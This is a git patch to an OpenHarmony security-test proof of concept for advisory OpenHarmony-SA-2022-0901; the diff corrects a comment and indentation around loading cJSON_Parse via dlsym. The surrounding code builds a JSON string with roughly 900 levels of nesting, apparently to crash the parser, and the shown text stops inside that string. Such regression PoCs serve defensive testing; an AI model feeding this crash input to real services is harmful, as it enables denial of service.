From d1e69f0580666532f7a6c5b7d99a60fdb513909b Mon Sep 17 00:00:00 2001 From: jingyu123412 <1565704822@qq.com> Date: Thu, 2 Mar 2023 17:40:36 +0800 Subject: [PATCH] =?UTF-8?q?=E6=8F=90=E4=BA=A4OpenHarmony-SA-2022-0901?= =?UTF-8?q?=E5=8A=A8=E6=80=81=E6=B5=8B=E8=AF=95=E7=94=A8=E4=BE=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: jingyu123412 <1565704822@qq.com> --- .../2022-09/OpenHarmony-SA-2022-0901/poc.cpp | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp index 4fdd7523d..4914613b3 100644 --- a/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp +++ b/demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp @@ -43,14 +43,14 @@ int main() return 1; } - // 获取函数DisplayManager::GetInstance地址 - typedef cJSON* (*Func)(char*); - Func cJSON_Parse = reinterpret_cast(dlsym(handle, "cJSON_Parse")); - if (cJSON_Parse == NULL) { - fprintf(stderr, "Error: %s\n", dlerror()); - dlclose(handle); - return 1; - } + // 获取函数cJSON_Parse地址 + typedef cJSON* (*Func)(char*); + Func cJSON_Parse = reinterpret_cast(dlsym(handle, "cJSON_Parse")); + if (cJSON_Parse == NULL) { + fprintf(stderr, "Error: %s\n", dlerror()); + dlclose(handle); + return 1; + } // 准备一个具有900层嵌套结构的json数据 char *json_string = "{\"a\":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[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